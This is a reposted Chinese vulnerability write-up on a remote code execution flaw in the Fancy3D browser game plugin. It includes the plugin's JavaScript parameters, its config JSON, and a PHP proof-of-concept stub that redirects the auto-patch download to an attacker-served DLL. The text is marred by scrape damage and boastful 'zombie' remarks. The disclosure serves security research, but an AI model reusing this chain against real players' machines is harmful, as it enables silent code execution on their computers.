FANCY.DLLfancy是什么牌子?

标题一定要性感,漏洞类型一定要叼,自评rank一定要高 这样才会有闪电这几年页游越来越火,大有取代端游的趋势。从早期的文字游戏,到后来的js、flash、3D,游戏引擎日益成熟,捞钱手段越发精明。辉煌的背后,安全问题却很少被人提起。今天,路人甲就来丢个重
标题一定要性感,漏洞类型一定要叼,自评rank一定要高 这样才会有闪电
这几年页游越来越火,大有取代端游的趋势。从早期的文字游戏,到后来的js、flash、3D,游戏引擎日益成熟,捞钱手段越发精明。辉煌的背后,安全问题却很少被人提起。
今天,路人甲就来丢个重磅炸弹。(没错我就是匿名 你找的到我么)
你玩XXX么?玩?哦 那你是我的肉鸡了
你玩XX么?不玩?那你玩过XXX么?半年前玩过1分钟?哦 那你也是我的肉鸡了
你玩XX么?不玩?XXX也不玩?你是开发者?哦 那你还是我的肉鸡
下面开始很严肃的详细说明。哦对 你们要3个月后才能看到 哈哈 怪我咯
详细说明:
北京青果灵动科技有限公司自主研发的3D网页游戏引擎Fancy3D。测试中发现有参数可任意控制 最终实现远程命令执行。以下是分析过程:
先来看看游戏加载页面 这里选了一款苏州争渡科技有限公司开发游戏 三国武神
为保持卷面整洁,代码有删减
游戏主页面:http://s18.37wan./tapi/v1/otplat/login?platform=xxxxxx
code 区域&script src=&http://s18.37wan./proxy/getvjs/x52/18&&&/script&//加载后期配置
&script src=&http://res.ly.sgws./static/52xiyou/js/logic1.2.js&&&/script&//Fancy3D插件启动脚本
this.logincode = (function(){
var box = 'no';
if(_self.platform == 'xunlei'){
try { window.external.GetClientInfo(); box = 'xunlei';} catch(e) { box = 'no'; }
return 'foaparam=lordcrab:\/\/sn=18服\x26sa=s18.37wan.:3018\x26tl=\x26un=p37_18_xutianle2\x26cc=某个md5\x26nc=p37_18_xutianle2\x26dx=\x26ndx=\x26cv=test3\/\x26api=http:\/\/s18.37wan.\/proxy\/getv\/x52\/18\x26xcn=test\x26xcv=3&xdt=' + box + '# http:\/\/s18.37wan.\/proxy\/getv\/x52\/18 a 3 test 1';
}()); //logincode生成 下面会说到
先看看http://s18.37wan./proxy/getvjs/x52/18
code 区域window.gameversion=&1400301&;window.TangRen_AutoPatch=&http://res.ly.sgws./updateot/TangRen-AutoPatch5.18.zip&;window.fancydownurlx64=&http://res.ly.sgws./static/fancy/down64.dll&;window.fancyentryurl=&http://res.ly.sgws./static/fancy/SangoWebEntry.exe&;window.clientversion=&1.0&;window.versions=&1400229&;window.fancydownurlx86=&http://res.ly.sgws./static/fancy/down.dll&;window.entrymd5=&8cbed30a7a4c5b1ac428&;window.mfc=&http://res.ly.sgws./updateot/mfc.zip&;window.TangRenPluginSetUp=&http://res.ly.sgws./updateot/TangRenPluginSetUp1.4.zip&;window.fancymd5x64=&dd6ffd1aedc204efec3a722ec670f176&;window.fancymd5x86=&aa401a6cb0f54576eba479&;window.version=&1.0&;
这里面定义了一些初始化的配置 方便解说下面称这段配置为“配置一”
然后来看启动插件的部分logic1.2.js
code 区域....以上省略....
//-------------------------------------------
//启动青果插件
function load_fancy_html_obj(){
var attr = _E.browser == 'ie'?'classid=&clsid:b2e8d85e-c0c5-48df-8dbc-&' : 'type=&application/fancy-npruntime-fancy3d-plugin&';
var liburl = window.fancydownurlx86;
var libmd5 = window.fancymd5x86;
if(_E.browser == 'ie' && _E.platform == 'x64'){
liburl = window.fancydownurlx64;
libmd5 = window.fancymd5x64;
var tr_pick_url
= 'http://'+_G.pickurl+'/pick/multiinfo',
tr_createTokenUrl
= 'http://'+_G.apiHost+'/createtoken?token=' + _G.tr_token,
tr_createTokenKey
= 'none',
tr_createTokenName
= 'none';
var param1 = _G.username + ' ' + tr_pick_url + ' ' + tr_createTokenUrl + ' ' + tr_createTokenKey + ' '+ tr_createTokenName + ' ' + _G.
var html = '&object id=&fancy3d_object& ' + attr + '&'+
'¶m name=&game& value=&ZDSGGame& /&'+
'¶m name=&nprver& value=&0.0.2.17& /&'+
'¶m name=&ocxver& value=&0.0.2.17& /&'+
'¶m name=&liburl& value=&' + liburl + '& /&'+
'¶m name=&libmd5& value=&' + libmd5 + '& /&'+
'¶m name=&unsafelib& value=&allow& /&'+
'¶m name=¶m1& value=&exeparam=40 ' + param1 + '& /&'+
'¶m name=&exename& value=&SangoWebEntry.exe& /&'+
'¶m name=&exeurl& value=&' + window.fancyentryurl + '& /&'+
'¶m name=&exemd5& value=&' + window.entrymd5 + '& /&'+
'&/object&';
$(&#fancy3d_divbox&).html(html);
....以下省略....
其中的重要变量(意思是如果这个变量有问题,插件就不会启动或者无法执行下去)有
attr 根据浏览器选择插件加载方式
liburl 插件启动后首先下载的文件 来自配置一的window.fancydownurlx86
libmd5 顾名思义 上面一个文件的MD5 来自配置一的window.fancymd5x86
exeurl 游戏主程序的地址 来自配置一window.fancyentryurl
exemd5 游戏主程序md5 来自配置一的window.entrymd5
param1 普通参数传递 这里面比较重要的是_G.logincode 来源在上面
下面说说观察到的流程:
1、点开网页后,首先加载fancy3d插件
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
3、插件下载liburl(down.dll)并加载
4、插件下载游戏主程序SangoWebEntry.exe并启动
5、SangoWebEntry.exe请求logincode中的api获取版本号
6、SangoWebEntry.exe请求http://s18.37wan./proxy/getv/x52/18(来源logincode) 内容如下:
code 区域{&gameversion&: &1400301&, &TangRen_AutoPatch&: &http://res.ly.sgws./updateot/TangRen-AutoPatch5.18.zip&, &fancydownurlx64&: &http://res.ly.sgws./static/fancy/down64.dll&, &fancyentryurl&: &http://res.ly.sgws./static/fancy/SangoWebEntry.exe&, &clientversion&: &1.0&, &versions&: &1400229&, &fancydownurlx86&: &http://res.ly.sgws./static/fancy/down.dll&, &entrymd5&: &8cbed30a7a4c5b1ac428&, &mfc&: &http://res.ly.sgws./updateot/mfc.zip&, &TangRenPluginSetUp&: &http://res.ly.sgws./updateot/TangRenPluginSetUp1.4.zip&, &fancymd5x64&: &dd6ffd1aedc204efec3a722ec670f176&, &fancymd5x86&: &aa401a6cb0f54576eba479&, &version&: &1.0&}
7、SangoWebEntry.exe从上一步请求结果中取出TangRen_AutoPatch地址并下载解压到client目录
8、SangoWebEntry.exe从client目录解压TangRen-AutoPatch5.18.zip并载入TangRen-AutoPatch.dll开始自动更新
9、自动更新完毕 进入游戏
从以上流程可以看到 如果3 4 6 这几步的内容可被任意控制 那就可以下载并执行任意的exe或者dll了
实际测试发现3(liburl) 4(exeurl)这两个参数只要一改域名 插件就不运行,应该是做了检查了
第6步的下载地址来自http://s18.37wan./proxy/getv/x52/18
http://s18.37wan./proxy/getv/x52/18来自logincode
logincode可控 而且按照格式修改的话 插件可以正确读取加载 于是搭建测试环境如下
首先写一个TangRen-AutoPatch.dll 如图
poc而已 求不吐槽
然后打包成TangRen-AutoPatch5.18.zip放到web目录下
然后新建一个php文件
code 区域&?php
if($_GET['type'] == 'gameversion'){ //流程第5步请求的api 图方便我也改成这里了
die('9;);
echo '{&gameversion&: &1400303&, &TangRen_AutoPatch&: &http://localhost/updateot/TangRen-AutoPatch5.18.zip&, &fancydownurlx64&: &http://localhost/static/fancy/down64.dll&, &fancyentryurl&: &http://localhost/static/fancy/SangoWebEntry.exe&, &clientversion&: &1.1&, &versions&: &1400303&, &fancydownurlx86&: &http://localhost/static/fancy/down.dll&, &entrymd5&: &9cbed30a7a4c5b1ac428&, &mfc&: &http://localhost/updateot/mfc.zip&, &TangRenPluginSetUp&: &http://localhost/TangRenPluginSetUp1.4.zip&, &fancymd5x64&: &dd6efd1aedc204efec3a722ec670f176&, &fancymd5x86&: &ba401a6cb0f54576eba479&, &version&: &1.0&}';
其中最主要的是这段
code 区域&TangRen_AutoPatch&: &http://localhost/TangRen-AutoPatch5.18.zip&
然后修改一下游戏主页面 浏览器打开,然后什么都没有发生。。。
继续查看插件log发现TangRen_AutoPatch只会在游戏第一次***的时候被下载和执行(或者版本更新?这里没研究下去)
需要游戏第一次加载 我们就再来看看游戏第一次加载的流程 其中第二步
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
这个ZDSGGame是不是很眼熟 在游戏加载插件的时候 有个game参数的值就是这个
code 区域var html = '&object id=&fancy3d_object& ' + attr + '&'+
'¶m name=&game& value=&ZDSGGame& /&'+
抱着试试看的态度 把这里的ZDSGGame改成了ZDSGGame1,重新用浏览器打开,等了大概5秒 刷的一下就弹出了熟悉的计算器
查看C:\Users\用户\fancy\ 果然生成了ZDSGGame1目录
市面上好多热门游戏包括暗黑之光 佛本是道 等等等等都在用这款插件 虽然具体流程略有不同,但是他们是共享的同一个网页插件
classid:b2e8d85e-c0c5-48df-8dbc-
所以只要玩过任何一款这个插件的游戏,就可以被攻击,当然也包括***了这个插件的开发者,标题不算夸大吧。
漏洞证明:
由于插件是跨浏览器的,所以测试firefox ie 360浏览器极速模式(兼容模式)都可以成功运行
修复方案:
检查做***,细节最重要
如何拿下几十万热门页游玩家的电脑(Fancy3D游戏引擎远程代码执行漏洞)
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:
标签分类:
上一篇:上一篇:
下一篇: 下一篇:文件下载进程查询
F 文件进程
字母F开头的文件类型

参考资料

 

随机推荐